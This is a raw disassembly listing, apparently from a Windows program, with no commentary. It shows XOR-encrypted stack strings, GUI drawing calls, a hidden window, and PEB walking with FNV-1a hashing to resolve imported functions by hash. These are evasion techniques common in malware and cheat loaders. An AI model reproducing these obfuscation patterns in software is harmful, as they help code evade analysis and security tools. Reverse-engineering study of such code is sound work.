addss xmm6, dword [0x1400fea28]
movabs rax, 0x1872a0bd3e7374b7
mov qword [rbp + 0x250], r14
mov qword [rbp + 0x9f0], rax
lea rcx, [rbp + 0x558]
movabs rax, 0x4b08b936542708a
mov qword [rbp + 0x258], rdi
movdqa xmm0, xmmword [rbp + 0x250]
xor r9d, r9d
mov qword [rbp + 0x9f8], rax
xor r8d, r8d
pxor xmm0, xmmword [rbp + 0x9f0]
movdqa xmmword [rbp + 0x9f0], xmm0
movss dword [rsp + 0x20], xmm8
call fcn.14005ef80
mov qword [rbp + 0x260], r14
lea rcx, [rbp + 0x5e8]
mov qword [rbp + 0x268], rdi
movss xmm0, dword [rax]
movabs rax, 0x1872a0bd3e7374b7
mulss xmm0, xmm7
mov qword [rbp + 0xa00], rax
movabs rax, 0x4b08b936542708a
mov qword [rbp + 0xa08], rax
subss xmm6, xmm0
movss xmm0, dword [0x1402a7904]
addss xmm0, dword [0x1400fea0c]
movss dword [rbp + 0xb8], xmm6
movss dword [rbp + 0xbc], xmm0
movdqa xmm0, xmmword [rbp + 0x260]
pxor xmm0, xmmword [rbp + 0xa00]
movdqa xmmword [rbp + 0xa00], xmm0
movaps xmm0, xmmword [0x1400fead0]
movups xmmword [rbp + 0x5e8], xmm0
call fcn.14005fee0
lea r9, [rbp + 0xa00]
mov qword [rsp + 0x20], rbx
mov r8d, eax
lea rdx, [rbp + 0xb8]
mov rcx, rsi
call fcn.140073e70
mov qword [rbp + 0xa18], rdi
lea rcx, [rbp + 0x5f8]
movabs rax, 0x7106c3fc1ea89613
mov qword [rbp + 0x270], r14
mov qword [rbp + 0xa10], rax
mov qword [rbp + 0x278], rdi
movdqa xmm0, xmmword [rbp + 0x270]
pxor xmm0, xmmword [rbp + 0xa10]
movdqa xmmword [rbp + 0xa10], xmm0
movaps xmm0, xmmword [0x1400fead0]
movups xmmword [rbp + 0x5f8], xmm0
call fcn.14005fee0
movss xmm6, dword [0x1402a7900]
lea rdx, [0x1400fe9b8]
addss xmm6, dword [0x1400fea30]
xor r9d, r9d
movss dword [rsp + 0x20], xmm8
xor r8d, r8d
lea rcx, [rbp + 0x560]
mov ebx, eax
call fcn.14005ef80
xor ecx, ecx
lea r9, [rbp + 0xa10]
mov qword [rsp + 0x20], rcx
lea rdx, [rbp + 0xc0]
mov r8d, ebx
mov rcx, rsi
movss xmm0, dword [rax]
mulss xmm0, xmm7
subss xmm6, xmm0
movss xmm0, dword [0x1402a7904]
addss xmm0, xmm15
movss dword [rbp + 0xc0], xmm6
movss dword [rbp + 0xc4], xmm0
call fcn.140073e70
lea rcx, [rbp + 0xc8]
mov dword [rbp + 0xc8], 0x42c80000
mov dword [rbp + 0xcc], 0x43020000
call fcn.14006d5d0
cmp qword [0x1402a74e0], 0x10
lea rdx, [0x1402a74c8]
mov qword [rbp + 0xa28], rdi
lea rcx, [rbp + 0xa20]
cmovae rdx, qword [0x1402a74c8]
movabs rax, 0x7106c3857b4132df
mov qword [rbp + 0xa20], rax
xor ebx, ebx
mov qword [rbp + 0x280], r14
mov r9d, 0x8000
mov qword [rbp + 0x288], rdi
mov r8d, 0x100
movdqa xmm0, xmmword [rbp + 0x280]
pxor xmm0, xmmword [rbp + 0xa20]
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rbx
movdqa xmmword [rbp + 0xa20], xmm0
call fcn.1400847e0
lea rcx, [rbp + 0xd0]
mov dword [rbp + 0xd0], 0x430c0000
mov dword [rbp + 0xd4], 0x433e0000
call fcn.14006d5d0
mov qword [rbp + 0xa38], rdi
lea rdx, [rbp + 0xd8]
movabs rax, 0x7106b795736864af
mov qword [rbp + 0x290], r14
mov qword [rbp + 0xa30], rax
lea rcx, [rbp + 0xa30]
mov qword [rbp + 0x298], rdi
movdqa xmm0, xmmword [rbp + 0x290]
pxor xmm0, xmmword [rbp + 0xa30]
movdqa xmmword [rbp + 0xa30], xmm0
mov dword [rbp + 0xd8], 0x439d8000
mov dword [rbp + 0xdc], 0x41f00000
call fcn.140083620
test al, al
je 0x1400554e9
lea rcx, [rbp + 0x8d0]
call fcn.140044bc0
movabs rax, 0x7106a7997064709e
mov qword [rbp + 0x938], rdi
mov qword [rbp + 0x930], rax
mov r8, 0xffffffffffffffff
mov qword [rbp + 0x2a0], r14
lea rax, [rbp + 0x930]
mov qword [rbp + 0x2a8], rdi
movdqa xmm0, xmmword [rbp + 0x2a0]
pxor xmm0, xmmword [rbp + 0x930]
movdqa xmmword [rbp + 0x930], xmm0
mov qword [rbp + 0xd00], rbx
mov qword [rbp + 0xd10], rbx
mov qword [rbp + 0xd18], 0xf
inc r8
cmp byte [rax + r8], bl
jne 0x1400553e7
lea rdx, [rbp + 0x930]
lea rcx, [rbp + 0xd00]
call fcn.14000c110
lea r9, [0x1402a7460]
lea r8, [0x1402a7440]
lea rdx, [rbp + 0xd00]
lea rcx, [rbp + 0x15a0]
call fcn.14004eb60
cmp qword [rax + 0x18], 0x10
mov rdx, qword [rax + 0x10]
jb 0x140055432
mov rax, qword [rax]
cmp qword [rbp + 0x8e8], 0x10
lea rcx, [rbp + 0x8d0]
mov r8, qword [rbp + 0x8e0]
cmovae rcx, qword [rbp + 0x8d0]
cmp r8, rdx
jne 0x140055465
mov rdx, rax
call fcn.1400b75e0
test eax, eax
jne 0x140055465
movzx ebx, r15b
lea rcx, [rbp + 0x15a0]
call fcn.1400096e0
mov rdx, qword [rbp + 0xd18]
cmp rdx, 0x10
jb 0x1400554b2
mov rcx, qword [rbp + 0xd00]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400554ad
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005a15d
call fcn.14009aa1c
xor eax, eax
mov qword [rbp + 0xd18], 0xf
mov qword [rbp + 0xd10], rax
mov byte [rbp + 0xd00], al
test bl, bl
je 0x140056260
mov byte [0x1402a78f8], r15b
xor ebx, ebx
lea rcx, [rbp + 0x8d0]
call fcn.1400096e0
lea rcx, [rbp + 0xe0]
mov dword [rbp + 0xe0], 0x430c0000
mov dword [rbp + 0xe4], 0x43700000
call fcn.14006d5d0
mov qword [rbp + 0xa48], rdi
lea rdx, [rbp + 0x168]
movabs rax, 0x7106c3fc6a6369b9
mov qword [rbp + 0x310], r14
mov qword [rbp + 0xa40], rax
lea rcx, [rbp + 0xa40]
mov qword [rbp + 0x318], rdi
movdqa xmm0, xmmword [rbp + 0x310]
pxor xmm0, xmmword [rbp + 0xa40]
movdqa xmmword [rbp + 0xa40], xmm0
mov dword [rbp + 0x168], 0x439d8000
mov dword [rbp + 0x16c], 0x41f00000
call fcn.140083620
test al, al
je 0x140055577
call fcn.140094550
cmp byte [0x1402a78f8], r15b
jne 0x1400555e6
mov qword [rbp + 0xa58], rdi
lea rdx, [rbp - 0x80]
movabs rax, 0x7128a799706470be
mov qword [rbp + 0x320], r14
mov qword [rbp + 0xa50], rax
lea rcx, [rbp + 0xa50]
mov qword [rbp + 0x328], rdi
movdqa xmm0, xmmword [rbp + 0x320]
pxor xmm0, xmmword [rbp + 0xa50]
movdqa xmmword [rbp + 0xa50], xmm0
mov byte [rbp - 0x80], 0
call fcn.14004fe10
movzx eax, byte [0x1402a78f8]
cmp byte [rbp - 0x80], 0
cmovne eax, ebx
mov byte [0x1402a78f8], al
cmp byte [0x1402a78f9], r15b
jne 0x14005565f
movabs rax, 0x5162aa907f7c7fb5
mov qword [rbp + 0x330], r14
mov qword [rbp + 0xa60], rax
lea rdx, [rbp - 0x80]
movabs rax, 0x4b0e5fc224f7497
mov qword [rbp + 0x338], rdi
movdqa xmm0, xmmword [rbp + 0x330]
lea rcx, [rbp + 0xa60]
mov qword [rbp + 0xa68], rax
pxor xmm0, xmmword [rbp + 0xa60]
movdqa xmmword [rbp + 0xa60], xmm0
mov byte [rbp - 0x80], 0
call fcn.14004fe10
movzx eax, byte [0x1402a78f9]
cmp byte [rbp - 0x80], 0
cmovne eax, ebx
mov byte [0x1402a78f9], al
cmp byte [0x1402a78fa], r15b
jne 0x1400556d8
movabs rax, 0x5168b49370617fa9
mov qword [rbp + 0x340], r14
mov qword [rbp + 0xa70], rax
lea rdx, [rbp - 0x80]
movabs rax, 0x4b0cb886d53799f
mov qword [rbp + 0x348], rdi
movdqa xmm0, xmmword [rbp + 0x340]
lea rcx, [rbp + 0xa70]
mov qword [rbp + 0xa78], rax
pxor xmm0, xmmword [rbp + 0xa70]
movdqa xmmword [rbp + 0xa70], xmm0
mov byte [rbp - 0x80], 0
call fcn.14004fe10
movzx eax, byte [0x1402a78fa]
cmp byte [rbp - 0x80], 0
cmovne eax, ebx
mov byte [0x1402a78fa], al
movzx eax, byte [0x1402a78fb]
cmp al, r15b
jne 0x1400557b4
movabs rax, 0x264b68f3e7374b7
mov qword [rbp + 0x1b70], r14
mov qword [rbp + 0xf20], rax
lea rdx, [rbp - 0x80]
movabs rax, 0x6adf8c887c5f639f
mov qword [rbp + 0x1b78], rdi
movdqa xmm0, xmmword [rbp + 0x1b70]
lea rcx, [rbp + 0xf20]
mov qword [rbp + 0xf28], rax
movabs rax, 0x291d1d955a2a74dc
pxor xmm0, xmmword [rbp + 0xf20]
mov qword [rbp + 0xf30], rax
movabs rax, 0xf57a01fcf21e11d2
mov qword [rbp + 0xf38], rax
movabs rax, 0x4d786ffc2a5211fc
movdqa xmm1, xmmword [rbp + 0xf30]
mov qword [rbp + 0x1b80], rax
movabs rax, 0xf57a01fcf21e11fc
mov qword [rbp + 0x1b88], rax
pxor xmm1, xmmword [rbp + 0x1b80]
movdqa xmmword [rbp + 0xf30], xmm1
mov byte [rbp - 0x80], 0
movdqa xmmword [rbp + 0xf20], xmm0
call fcn.14004fe10
movzx eax, byte [0x1402a78fb]
cmp byte [rbp - 0x80], 0
cmovne eax, ebx
mov byte [0x1402a78fb], al
cmp byte [0x1402a78fc], r15b
jne 0x140055834
movabs rax, 0x1474a28b7a7870b4
mov qword [rbp + 0x350], r14
mov qword [rbp + 0xa80], rax
lea rdx, [rbp - 0x80]
movabs rax, 0x49e97937e4454dc
mov qword [rbp + 0x358], rdi
movdqa xmm0, xmmword [rbp + 0x350]
lea rcx, [rbp + 0xa80]
mov qword [rbp + 0xa88], rax
pxor xmm0, xmmword [rbp + 0xa80]
movdqa xmmword [rbp + 0xa80], xmm0
mov byte [rbp - 0x80], 0
call fcn.14004fe10
movzx eax, byte [0x1402a78fc]
cmp byte [rbp - 0x80], 0
cmovne eax, ebx
mov byte [0x1402a78fc], al
movzx eax, byte [0x1402a78fb]
cmp byte [0x1402a78fd], r15b
jne 0x14005598f
cmp byte [0x1402a78f9], r15b
je 0x14005598f
cmp byte [0x1402a78f8], r15b
je 0x14005598f
cmp byte [0x1402a78fa], r15b
je 0x14005598f
cmp al, r15b
je 0x14005598f
movabs rcx, 0x19bafdfc714611fc
mov qword [rbp + 0x1ad0], r14
mov qword [rbp + 0x1058], rcx
lea rdx, [rbp - 0x80]
mov qword [rbp + 0x1af8], rcx
movabs rax, 0x1265b68f3e7374b7
mov qword [rbp + 0x1030], rax
lea rcx, [rbp + 0x1030]
movabs rax, 0x7ddc89896a456299
mov qword [rbp + 0x1ad8], rdi
movdqa xmm0, xmmword [rbp + 0x1ad0]
mov qword [rbp + 0x1038], rax
movabs rax, 0x391919955e3170dc
pxor xmm0, xmmword [rbp + 0x1030]
mov qword [rbp + 0x1040], rax
movabs rax, 0x811360abd2307599
mov qword [rbp + 0x1048], rax
movabs rax, 0xa875a89de67661dc
movdqa xmm1, xmmword [rbp + 0x1040]
mov qword [rbp + 0x1050], rax
movabs rax, 0x4d786ffc2a5211fc
mov qword [rbp + 0x1ae0], rax
movabs rax, 0xf57a01fcf21e11fc
mov qword [rbp + 0x1ae8], rax
movabs rax, 0x8610dbfc831a11fc
pxor xmm1, xmmword [rbp + 0x1ae0]
movdqa xmmword [rbp + 0x1030], xmm0
movdqa xmm0, xmmword [rbp + 0x1050]
mov qword [rbp + 0x1af0], rax
pxor xmm0, xmmword [rbp + 0x1af0]
movdqa xmmword [rbp + 0x1050], xmm0
mov byte [rbp - 0x80], 0
movdqa xmmword [rbp + 0x1040], xmm1
call fcn.14004fe10
cmp byte [rbp - 0x80], 0
je 0x14005598f
mov byte [0x1402a78fd], 0
mov dword [0x1402a78f4], r15d
lea r9, [0x1402a7460]
lea r8, [0x1402a7440]
lea rdx, [0x1402a7508]
lea rcx, [rbp + 0x16a0]
call fcn.14004e920
mov rdx, rax
lea rcx, [0x1402a7528]
call fcn.14000ae00
lea rcx, [rbp + 0x16a0]
call fcn.1400096e0
movabs rax, 0x7106c3fc1e0a11c7
mov qword [rbp + 0x9a8], rdi
mov qword [rbp + 0x9a0], rax
xor ebx, ebx
mov qword [rbp + 0x400], r14
lea rax, [rbp + 0x9a0]
mov qword [rbp + 0x408], rdi
mov r8, 0xffffffffffffffff
movdqa xmm0, xmmword [rbp + 0x400]
pxor xmm0, xmmword [rbp + 0x9a0]
movdqa xmmword [rbp + 0x9a0], xmm0
mov qword [rbp + 0xe60], rbx
mov qword [rbp + 0xe70], rbx
mov qword [rbp + 0xe78], 0xf
inc r8
cmp byte [rax + r8], bl
jne 0x140055a32
lea rdx, [rbp + 0x9a0]
lea rcx, [rbp + 0xe60]
call fcn.14000c110
lea r8, [rbp + 0xe60]
lea rdx, [0x1402a7528]
lea rcx, [rbp + 0x178]
call fcn.1400987c0
mov rdx, qword [rbp + 0xe78]
cmp rdx, 0x10
jb 0x140055aa9
mov rcx, qword [rbp + 0xe60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140055aa4
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005a15d
call fcn.14009aa1c
cmp dword [0x1402a78f4], r15d
mov qword [rbp + 0xe70], rbx
mov qword [rbp + 0xe78], 0xf
mov byte [rbp + 0xe60], bl
jne 0x140057347
movss xmm6, dword [0x1402a7900]
lea rdx, [rbp + 0xa90]
addss xmm6, dword [0x1400fea2c]
movabs rax, 0x166793dc6c6f62a9
mov qword [rbp + 0x370], r14
mov qword [rbp + 0xa90], rax
lea rcx, [rbp + 0x568]
movabs rax, 0x4b0e5fc0c361199
mov qword [rbp + 0x378], rdi
movdqa xmm0, xmmword [rbp + 0x370]
xor r9d, r9d
mov qword [rbp + 0xa98], rax
xor r8d, r8d
pxor xmm0, xmmword [rbp + 0xa90]
movdqa xmmword [rbp + 0xa90], xmm0
movss dword [rsp + 0x20], xmm8
call fcn.14005ef80
mov qword [rbp + 0x380], r14
lea rcx, [rbp + 0x608]
mov qword [rbp + 0x388], rdi
movss xmm0, dword [rax]
movabs rax, 0x166793dc6c6f62a9
mulss xmm0, xmm7
mov qword [rbp + 0xaa0], rax
movabs rax, 0x4b0e5fc0c361199
mov qword [rbp + 0xaa8], rax
subss xmm6, xmm0
movss xmm0, dword [0x1402a7904]
addss xmm0, dword [0x1400fea04]
movss dword [rbp + 0xf0], xmm6
movss dword [rbp + 0xf4], xmm0
movdqa xmm0, xmmword [rbp + 0x380]
pxor xmm0, xmmword [rbp + 0xaa0]
movdqa xmmword [rbp + 0xaa0], xmm0
movaps xmm0, xmmword [0x1400fead0]
movups xmmword [rbp + 0x608], xmm0
call fcn.14005fee0
lea r9, [rbp + 0xaa0]
mov qword [rsp + 0x20], rbx
mov r8d, eax
lea rdx, [rbp + 0xf0]
mov rcx, rsi
call fcn.140073e70
mov qword [rbp + 0xab8], rdi
lea rcx, [rbp + 0x678]
movabs rax, 0x7106c3fc1e8d9113
mov qword [rbp + 0x390], r14
mov qword [rbp + 0xab0], rax
mov qword [rbp + 0x398], rdi
movdqa xmm0, xmmword [rbp + 0x390]
pxor xmm0, xmmword [rbp + 0xab0]
movdqa xmmword [rbp + 0xab0], xmm0
movaps xmm0, xmmword [0x1400feac0]
movups xmmword [rbp + 0x678], xmm0
call fcn.14005fee0
movss xmm6, dword [0x1402a7900]
lea rdx, [0x1400fe9bc]
addss xmm6, dword [0x1400fea34]
xor r9d, r9d
movss dword [rsp + 0x20], xmm8
xor r8d, r8d
lea rcx, [rbp + 0x570]
mov ebx, eax
call fcn.14005ef80
lea r9, [rbp + 0xab0]
mov r8d, ebx
lea rdx, [rbp + 0xf8]
mov rcx, rsi
movss xmm0, dword [rax]
xor eax, eax
mulss xmm0, xmm7
mov qword [rsp + 0x20], rax
subss xmm6, xmm0
movss xmm0, dword [0x1402a7904]
addss xmm0, dword [0x1400fe9fc]
movss dword [rbp + 0xf8], xmm6
movss dword [rbp + 0xfc], xmm0
call fcn.140073e70
mov rcx, qword [0x1402a7928]
call fcn.14006a500
cmp dword [0x1402a7924], 0
jne 0x140057340
cmp byte [0x1402a7920], 0
jne 0x140055d09
cmp byte [0x1402a7921], 0
jne 0x140055d09
cmp byte [0x1402a7922], 0
jne 0x140055d09
cmp byte [0x1402a7923], 0
je 0x1400570c5
movss xmm6, dword [0x1402a7900]
lea rdx, [rbp + 0xac0]
addss xmm6, dword [0x1400fea24]
movabs rax, 0x4b0c5c662597888
mov qword [rbp + 0x3a0], r14
mov qword [rbp + 0xac8], rax
lea rcx, [rbp + 0x578]
mov qword [rbp + 0x3a8], rdi
movabs rbx, 0x16fb19f6d6864af
movdqa xmm0, xmmword [rbp + 0x3a0]
xor r9d, r9d
mov qword [rbp + 0xac0], rbx
xor r8d, r8d
pxor xmm0, xmmword [rbp + 0xac0]
movdqa xmmword [rbp + 0xac0], xmm0
movss dword [rsp + 0x20], xmm8
call fcn.14005ef80
mov qword [rbp + 0x3b0], r14
lea rcx, [rbp + 0x618]
mov qword [rbp + 0x3b8], rdi
movss xmm0, dword [rax]
movabs rax, 0x4b0c5c662597888
mulss xmm0, xmm7
mov qword [rbp + 0xad0], rbx
mov qword [rbp + 0xad8], rax
subss xmm6, xmm0
movss xmm0, dword [0x1402a7904]
addss xmm0, dword [0x1400fea10]
movss dword [rbp + 0x100], xmm6
movss dword [rbp + 0x104], xmm0
movdqa xmm0, xmmword [rbp + 0x3b0]
pxor xmm0, xmmword [rbp + 0xad0]
movdqa xmmword [rbp + 0xad0], xmm0
movaps xmm0, xmmword [0x1400fead0]
movups xmmword [rbp + 0x618], xmm0
call fcn.14005fee0
xor ebx, ebx
lea r9, [rbp + 0xad0]
mov r8d, eax
mov qword [rsp + 0x20], rbx
lea rdx, [rbp + 0x100]
mov rcx, rsi
call fcn.140073e70
movss xmm6, dword [0x1402a7900]
lea rdx, [rbp + 0xae0]
addss xmm6, dword [0x1400fea3c]
mov qword [rbp + 0xae8], rdi
lea rcx, [rbp + 0x580]
movabs rax, 0x7106c3fc6a7964ae
mov qword [rbp + 0x3c0], r14
mov qword [rbp + 0xae0], rax
xor r9d, r9d
mov qword [rbp + 0x3c8], rdi
xor r8d, r8d
movdqa xmm0, xmmword [rbp + 0x3c0]
pxor xmm0, xmmword [rbp + 0xae0]
movdqa xmmword [rbp + 0xae0], xmm0
movss dword [rsp + 0x20], xmm8
call fcn.14005ef80
mov qword [rbp + 0x3d0], r14
lea rcx, [rbp + 0x628]
mov qword [rbp + 0x3d8], rdi
movss xmm0, dword [rax]
movabs rax, 0x7106c3fc6a7964ae
mulss xmm0, xmm7
mov qword [rbp + 0xaf0], rax
mov qword [rbp + 0xaf8], rdi
subss xmm6, xmm0
movss xmm0, dword [0x1402a7904]
addss xmm0, dword [0x1400fea10]
movss dword [rbp + 0x108], xmm6
movss dword [rbp + 0x10c], xmm0
movdqa xmm0, xmmword [rbp + 0x3d0]
pxor xmm0, xmmword [rbp + 0xaf0]
movdqa xmmword [rbp + 0xaf0], xmm0
movaps xmm0, xmmword [0x1400fea70]
movups xmmword [rbp + 0x628], xmm0
call fcn.14005fee0
lea r9, [rbp + 0xaf0]
mov qword [rsp + 0x20], rbx
mov r8d, eax
lea rdx, [rbp + 0x108]
mov rcx, rsi
call fcn.140073e70
movss xmm6, dword [0x1402a7900]
lea rdx, [rbp + 0xb70]
addss xmm6, dword [0x1400fea20]
movabs rax, 0x5174a68b7b6770bb
mov qword [rbp + 0x3e0], r14
mov qword [rbp + 0xb70], rax
lea rcx, [rbp + 0x588]
movabs rax, 0x4b0e5fc0c162b98
mov qword [rbp + 0x3e8], rdi
movdqa xmm0, xmmword [rbp + 0x3e0]
xor r9d, r9d
mov qword [rbp + 0xb78], rax
xor r8d, r8d
pxor xmm0, xmmword [rbp + 0xb70]
movdqa xmmword [rbp + 0xb70], xmm0
movss dword [rsp + 0x20], xmm8
call fcn.14005ef80
mov qword [rbp + 0x230], r14
lea rcx, [rbp + 0x638]
mov qword [rbp + 0x238], rdi
movss xmm0, dword [rax]
movabs rax, 0x4b74a6ab7b6770bb
mulss xmm0, xmm7
mov qword [rbp + 0xb60], rax
movabs rax, 0x4b0e5fc0c3611dc
mov qword [rbp + 0xb68], rax
subss xmm6, xmm0
movss xmm0, dword [0x1402a7904]
addss xmm0, xmm13
movss dword [rbp + 0x110], xmm6
movss dword [rbp + 0x114], xmm0
movdqa xmm0, xmmword [rbp + 0x230]
pxor xmm0, xmmword [rbp + 0xb60]
movdqa xmmword [rbp + 0xb60], xmm0
movaps xmm0, xmmword [0x1400fead0]
movups xmmword [rbp + 0x638], xmm0
call fcn.14005fee0
lea r9, [rbp + 0xb60]
mov qword [rsp + 0x20], rbx
mov r8d, eax
lea rdx, [rbp + 0x110]
mov rcx, rsi
call fcn.140073e70
mov rbx, qword [rbp + 0x178]
add rbx, 0x20
cmp qword [rbx + 0x18], 0x10
jb 0x14005606b
mov rbx, qword [rbx]
movaps xmm0, xmmword [0x1400fea70]
lea rcx, [rbp + 0x648]
movups xmmword [rbp + 0x648], xmm0
call fcn.14005fee0
mov rdx, qword [rbp + 0x178]
mov edi, eax
add rdx, 0x20
cmp qword [rdx + 0x18], 0x10
jb 0x14005609c
mov rdx, qword [rdx]
movss xmm6, dword [0x1402a7900]
lea rcx, [rbp + 0x590]
xor r9d, r9d
movss dword [rsp + 0x20], xmm8
xor r8d, r8d
addss xmm6, xmm12
call fcn.14005ef80
mov r9, rbx
lea rdx, [rbp + 0x118]
mov r8d, edi
mov rcx, rsi
movss xmm0, dword [rax]
xor eax, eax
mulss xmm0, xmm7
mov qword [rsp + 0x20], rax
subss xmm6, xmm0
movss xmm0, dword [0x1402a7904]
addss xmm0, xmm13
movss dword [rbp + 0x118], xmm6
movss dword [rbp + 0x11c], xmm0
call fcn.140073e70
lea rcx, [rbp + 0x120]
mov dword [rbp + 0x120], 0x430c0000
mov dword [rbp + 0x124], 0x433e0000
call fcn.14006d5d0
movabs rax, 0x1e48e3886c6b65af
mov qword [rbp + 0x240], r14
mov qword [rbp + 0xb50], rax
lea rdx, [rbp + 0x128]
movabs rax, 0x4b0e5fc0c36118b
mov dword [rbp + 0x128], 0x439d8000
mov qword [rbp + 0xb58], rax
lea rcx, [rbp + 0xb50]
movabs rdi, 0x4b0e5fc0c3611fc
mov dword [rbp + 0x12c], 0x41f00000
mov qword [rbp + 0x248], rdi
movdqa xmm0, xmmword [rbp + 0x240]
pxor xmm0, xmmword [rbp + 0xb50]
movdqa xmmword [rbp + 0xb50], xmm0
call fcn.140083620
test al, al
je 0x1400570c5
xor edx, edx
mov rcx, r12
call qword [sym.imp.USER32.dll_ShowWindow]
lea rdx, [0x140050170]
lea rcx, [rbp + 0x1d0]
call fcn.14004ed90
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14005625b
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14005625b
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140056256
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140056230
cmp r8d, 0x23a979e4
je 0x140056f38
test r9d, r9d
jne 0x140056210
mov rax, qword [rax]
jmp 0x1400561e0
movabs rcx, 0x2e62aa907f7c7f95
mov qword [rbp + 0x2b0], r14
mov qword [rbp + 0x940], rcx
mov r8, 0xffffffffffffffff
mov qword [rbp + 0x2b8], rdi
movabs rcx, 0x4b0e5fc0c4f7497
movdqa xmm0, xmmword [rbp + 0x2b0]
mov qword [rbp + 0x948], rcx
pxor xmm0, xmmword [rbp + 0x940]
mov qword [rbp + 0xd20], rax
mov qword [rbp + 0xd30], rax
lea rax, [rbp + 0x940]
movdqa xmmword [rbp + 0x940], xmm0
mov qword [rbp + 0xd38], 0xf
nop
inc r8
cmp byte [rax + r8], 0
jne 0x1400562d0
lea rdx, [rbp + 0x940]
lea rcx, [rbp + 0xd20]
call fcn.14000c110
lea r9, [0x1402a7460]
lea r8, [0x1402a7440]
lea rdx, [rbp + 0xd20]
lea rcx, [rbp + 0x1600]
call fcn.14004eb60
cmp qword [rax + 0x18], 0x10
mov rdx, qword [rax + 0x10]
jb 0x14005631c
mov rax, qword [rax]
cmp qword [rbp + 0x8e8], 0x10
lea rcx, [rbp + 0x8d0]
mov r8, qword [rbp + 0x8e0]
cmovae rcx, qword [rbp + 0x8d0]
cmp r8, rdx
jne 0x140056351
mov rdx, rax
call fcn.1400b75e0
test eax, eax
jne 0x140056351
movzx ebx, r15b
jmp 0x140056353
xor bl, bl
lea rcx, [rbp + 0x1600]
call fcn.1400096e0
mov rdx, qword [rbp + 0xd38]
cmp rdx, 0x10
jb 0x1400563a0
mov rcx, qword [rbp + 0xd20]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005639b
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005a15d
call fcn.14009aa1c
xor eax, eax
mov qword [rbp + 0xd38], 0xf
mov qword [rbp + 0xd30], rax
mov byte [rbp + 0xd20], al
test bl, bl
je 0x1400563ca
mov byte [0x1402a78f9], r15b
jmp 0x1400554db
movabs rcx, 0x2e68b49370617f89
mov qword [rbp + 0x2c0], r14
mov qword [rbp + 0x950], rcx
mov r8, 0xffffffffffffffff
mov qword [rbp + 0x2c8], rdi
movabs rcx, 0x4b0e5886d53799f
movdqa xmm0, xmmword [rbp + 0x2c0]
mov qword [rbp + 0x958], rcx
pxor xmm0, xmmword [rbp + 0x950]
mov qword [rbp + 0xd40], rax
mov qword [rbp + 0xd50], rax
lea rax, [rbp + 0x950]
movdqa xmmword [rbp + 0x950], xmm0
mov qword [rbp + 0xd58], 0xf
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140056440
lea rdx, [rbp + 0x950]
lea rcx, [rbp + 0xd40]
call fcn.14000c110
lea r9, [0x1402a7460]
lea r8, [0x1402a7440]
lea rdx, [rbp + 0xd40]
lea rcx, [rbp + 0x1620]
call fcn.14004eb60
cmp qword [rax + 0x18], 0x10
mov rdx, qword [rax + 0x10]
jb 0x14005648c
mov rax, qword [rax]
cmp qword [rbp + 0x8e8], 0x10
lea rcx, [rbp + 0x8d0]
mov r8, qword [rbp + 0x8e0]
cmovae rcx, qword [rbp + 0x8d0]
cmp r8, rdx
jne 0x1400564c1
mov rdx, rax
call fcn.1400b75e0
test eax, eax
jne 0x1400564c1
movzx ebx, r15b
jmp 0x1400564c3
xor bl, bl
lea rcx, [rbp + 0x1620]
call fcn.1400096e0
mov rdx, qword [rbp + 0xd58]
cmp rdx, 0x10
jb 0x140056510
mov rcx, qword [rbp + 0xd40]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005650b
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005a15d
call fcn.14009aa1c
xor eax, eax
mov qword [rbp + 0xd58], 0xf
mov qword [rbp + 0xd50], rax
mov byte [rbp + 0xd40], al
test bl, bl
je 0x14005653a
mov byte [0x1402a78fa], r15b
jmp 0x1400554db
movabs rcx, 0x2e62a68e777a6999
mov qword [rbp + 0x1c00], r14
mov qword [rbp + 0xd60], rcx
movabs rdx, 0x4d786ffc2a5211fc
movabs rcx, 0x66d9979f7f54648f
mov qword [rbp + 0x1c08], rdi
movdqa xmm0, xmmword [rbp + 0x1c00]
mov r8, 0xffffffffffffffff
mov qword [rbp + 0xd68], rcx
movabs rcx, 0x4d786ffc2a521199
pxor xmm0, xmmword [rbp + 0xd60]
mov qword [rbp + 0xd70], rcx
movabs rcx, 0xf57a01fcf21e11fc
mov qword [rbp + 0xd78], rcx
movdqa xmm1, xmmword [rbp + 0xd70]
mov qword [rbp + 0x1c10], rdx
mov qword [rbp + 0x1c18], rcx
pxor xmm1, xmmword [rbp + 0x1c10]
mov qword [rbp + 0xd80], rax
mov qword [rbp + 0xd90], rax
lea rax, [rbp + 0xd60]
movdqa xmmword [rbp + 0xd70], xmm1
movdqa xmmword [rbp + 0xd60], xmm0
mov qword [rbp + 0xd98], 0xf
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140056600
lea rdx, [rbp + 0xd60]
lea rcx, [rbp + 0xd80]
call fcn.14000c110
lea r9, [0x1402a7460]
lea r8, [0x1402a7440]
lea rdx, [rbp + 0xd80]
lea rcx, [rbp + 0x1660]
call fcn.14004eb60
cmp qword [rax + 0x18], 0x10
